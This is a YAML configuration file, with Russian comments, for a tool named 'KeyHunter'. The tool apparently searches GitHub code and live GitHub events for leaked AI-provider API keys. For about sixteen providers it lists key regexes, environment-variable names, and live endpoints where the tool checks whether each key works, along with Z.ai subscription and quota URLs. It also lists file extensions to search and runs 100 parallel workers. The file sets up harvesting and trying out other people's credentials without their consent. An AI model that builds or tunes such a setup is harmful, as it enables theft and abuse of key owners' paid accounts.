218 lines
6.5 KiB
YAML
218 lines
6.5 KiB
YAML
# KeyHunter Configuration
|
||
|
||
# GitHub token (получить: https://github.com/settings/tokens)
|
||
github_token: "" # Вставить токен или использовать gh auth
|
||
|
||
# Интервал сканирования (секунды)
|
||
scan_interval: 300 # 5 минут между циклами
|
||
|
||
# Workers для параллельного сканирования
|
||
# GitHub search: 30/min per token, code search aggressive throttle
|
||
# SUPER PARSER: stepped up, monitor 403/429 before raising further
|
||
scan_workers: 100
|
||
validate_workers: 100
|
||
|
||
# GitHub search rate limit (запросов в минуту)
|
||
# Free: 10/min, Pro: 30/min — 2s floor per token
|
||
search_delay: 2 # секунды между запросами через один токен
|
||
|
||
# Провайдеры (true = включить)
|
||
# NOTE: этот блок НЕ читается eternal_v10.py (использует хардкод PROVIDERS).
|
||
# Он здесь как историческая документация — validator_v10.py и agent.py тоже его не читают.
|
||
# Держать в sync с src/eternal_v10.py PROVIDERS вручную при изменениях.
|
||
providers:
|
||
zai:
|
||
enabled: true
|
||
name: "Z.ai (ZhipuAI)"
|
||
vars: ["ZHIPU_API_KEY", "Z_AI_API_KEY", "BIGMODEL_API_KEY",
|
||
"ZHIPUAI_API_KEY", "ZAI_API_KEY", "GLM_API_KEY"]
|
||
pattern: '[a-f0-9]{32}\.[A-Za-z0-9]{10,30}'
|
||
test_url: "https://api.z.ai/api/coding/paas/v4/chat/completions"
|
||
test_model: "glm-5.2"
|
||
test_type: "zai_coding"
|
||
subscription_url: "https://api.z.ai/api/biz/subscription/list"
|
||
quota_url: "https://api.z.ai/api/monitor/usage/quota/limit"
|
||
github_blocks: false
|
||
|
||
moonshot:
|
||
enabled: true
|
||
name: "Moonshot (Kimi)"
|
||
vars: ["MOONSHOT_API_KEY", "KIMI_API_KEY"]
|
||
pattern: 'sk-[A-Za-z0-9]{20,100}'
|
||
test_url: "https://api.moonshot.cn/v1/chat/completions"
|
||
test_model: "kimi-k3"
|
||
test_type: "standard"
|
||
github_blocks: false
|
||
|
||
nvidia:
|
||
enabled: true
|
||
name: "NVIDIA NIM"
|
||
vars: ["NVIDIA_API_KEY", "NIM_API_KEY"]
|
||
pattern: 'nvapi-[A-Za-z0-9_-]{30,100}'
|
||
test_url: "https://integrate.api.nvidia.com/v1/chat/completions"
|
||
test_model: "meta/llama-3.3-70b-instruct"
|
||
test_type: "standard"
|
||
github_blocks: false
|
||
|
||
replicate:
|
||
enabled: true
|
||
name: "Replicate"
|
||
vars: ["REPLICATE_API_TOKEN"]
|
||
pattern: 'r8_[A-Za-z0-9]{30,100}'
|
||
test_url: "https://api.replicate.com/v1/account"
|
||
test_model: null
|
||
test_type: "replicate"
|
||
github_blocks: false
|
||
|
||
anthropic:
|
||
enabled: true
|
||
name: "Anthropic (Claude)"
|
||
vars: ["ANTHROPIC_API_KEY", "CLAUDE_API_KEY"]
|
||
pattern: 'sk-ant-api03-[a-zA-Z0-9_-]{80,100}'
|
||
test_url: "https://api.anthropic.com/v1/messages"
|
||
test_model: "claude-sonnet-5-5"
|
||
test_type: "anthropic"
|
||
github_blocks: true
|
||
headers: {"anthropic-version": "2023-06-01"}
|
||
|
||
openai:
|
||
enabled: true
|
||
name: "OpenAI"
|
||
vars: ["OPENAI_API_KEY"]
|
||
pattern: 'sk-proj-[a-zA-Z0-9_-]{40,80}|sk-[a-zA-Z0-9]{20,60}'
|
||
test_url: "https://api.openai.com/v1/chat/completions"
|
||
test_model: "gpt-4o-mini"
|
||
test_type: "standard"
|
||
github_blocks: true
|
||
|
||
openrouter:
|
||
enabled: true
|
||
name: "OpenRouter"
|
||
vars: ["OPENROUTER_API_KEY"]
|
||
pattern: 'sk-or-v1-[a-zA-Z0-9_-]{40,80}'
|
||
test_url: "https://openrouter.ai/api/v1/chat/completions"
|
||
test_model: "openrouter/auto"
|
||
test_type: "standard"
|
||
github_blocks: false
|
||
|
||
dashscope:
|
||
enabled: true
|
||
name: "DashScope (Alibaba)"
|
||
vars: ["DASHSCOPE_API_KEY", "ALIBABA_API_KEY", "QIANWEN_API_KEY"]
|
||
pattern: 'sk-[a-f0-9]{32}'
|
||
test_url: "https://dashscope.aliyuncs.com/compatible-mode/v1/chat/completions"
|
||
test_model: "qwen-turbo"
|
||
test_type: "standard"
|
||
github_blocks: false
|
||
|
||
deepseek:
|
||
enabled: true
|
||
name: "DeepSeek"
|
||
vars: ["DEEPSEEK_API_KEY"]
|
||
pattern: 'sk-[a-f0-9]{32}'
|
||
test_url: "https://api.deepseek.com/v1/chat/completions"
|
||
test_model: "deepseek-chat"
|
||
test_type: "standard"
|
||
github_blocks: true
|
||
|
||
gemini:
|
||
enabled: true
|
||
name: "Google Gemini"
|
||
vars: ["GEMINI_API_KEY", "GOOGLE_API_KEY"]
|
||
pattern: 'AIzaSy[a-zA-Z0-9_-]{33}'
|
||
test_url: "https://generativelanguage.googleapis.com/v1beta/models/gemini-2.0-flash:generateContent"
|
||
test_model: ""
|
||
test_type: "gemini"
|
||
github_blocks: false
|
||
|
||
together:
|
||
enabled: true
|
||
name: "Together AI"
|
||
vars: ["TOGETHER_API_KEY"]
|
||
pattern: 'tgp_v1_[a-zA-Z0-9]{20,50}|[a-f0-9]{40}|b99929949c80558184443'
|
||
test_url: "https://api.together.xyz/v1/chat/completions"
|
||
test_model: "meta-llama/Llama-3.3-70B-Instruct-Turbo"
|
||
test_type: "standard"
|
||
github_blocks: false
|
||
|
||
cohere:
|
||
enabled: true
|
||
name: "Cohere"
|
||
vars: ["COHERE_API_KEY"]
|
||
pattern: '[A-Za-z0-9]{40}'
|
||
test_url: "https://api.cohere.com/v2/chat"
|
||
test_model: "command-a"
|
||
test_type: "cohere"
|
||
github_blocks: false
|
||
|
||
mistral:
|
||
enabled: true
|
||
name: "Mistral AI"
|
||
vars: ["MISTRAL_API_KEY"]
|
||
pattern: '[A-Za-z0-9]{32}'
|
||
test_url: "https://api.mistral.ai/v1/chat/completions"
|
||
test_model: "mistral-small-latest"
|
||
test_type: "standard"
|
||
github_blocks: false
|
||
|
||
deepinfra:
|
||
enabled: true
|
||
name: "DeepInfra"
|
||
vars: ["DEEPINFRA_API_KEY"]
|
||
pattern: '[a-zA-Z0-9]{32}'
|
||
test_url: "https://api.deepinfra.com/v1/openai/chat/completions"
|
||
test_model: "mistralai/Mistral-Small-24B-Instruct-2501"
|
||
test_type: "standard"
|
||
github_blocks: false
|
||
|
||
huggingface:
|
||
enabled: true
|
||
name: "HuggingFace"
|
||
vars: ["HUGGINGFACE_API_KEY", "HF_API_KEY"]
|
||
pattern: 'hf_[A-Za-z0-9]{30,50}'
|
||
test_url: "https://router.huggingface.co/v1/chat/completions"
|
||
test_model: "meta-llama/Llama-3.1-8B-Instruct"
|
||
test_type: "standard"
|
||
github_blocks: false
|
||
|
||
groq:
|
||
enabled: true
|
||
name: "Groq"
|
||
vars: ["GROQ_API_KEY"]
|
||
pattern: 'gsk_[A-Za-z0-9]{30,60}'
|
||
test_url: "https://api.groq.com/openai/v1/chat/completions"
|
||
test_model: "llama-3.1-8b-instant"
|
||
test_type: "standard"
|
||
github_blocks: false
|
||
|
||
# Расширения файлов для поиска
|
||
extensions:
|
||
- env
|
||
- env.local
|
||
- env.production
|
||
- env.example
|
||
- env.dev
|
||
- py
|
||
- js
|
||
- ts
|
||
- ipynb
|
||
- json
|
||
- yaml
|
||
- yml
|
||
- sh
|
||
- bat
|
||
- go
|
||
- rs
|
||
- java
|
||
- rb
|
||
- md
|
||
- txt
|
||
- toml
|
||
- ini
|
||
- cfg
|
||
|
||
# Real-time мониторинг (GitHub Events API)
|
||
realtime:
|
||
enabled: true
|
||
poll_interval: 60 # секунд
|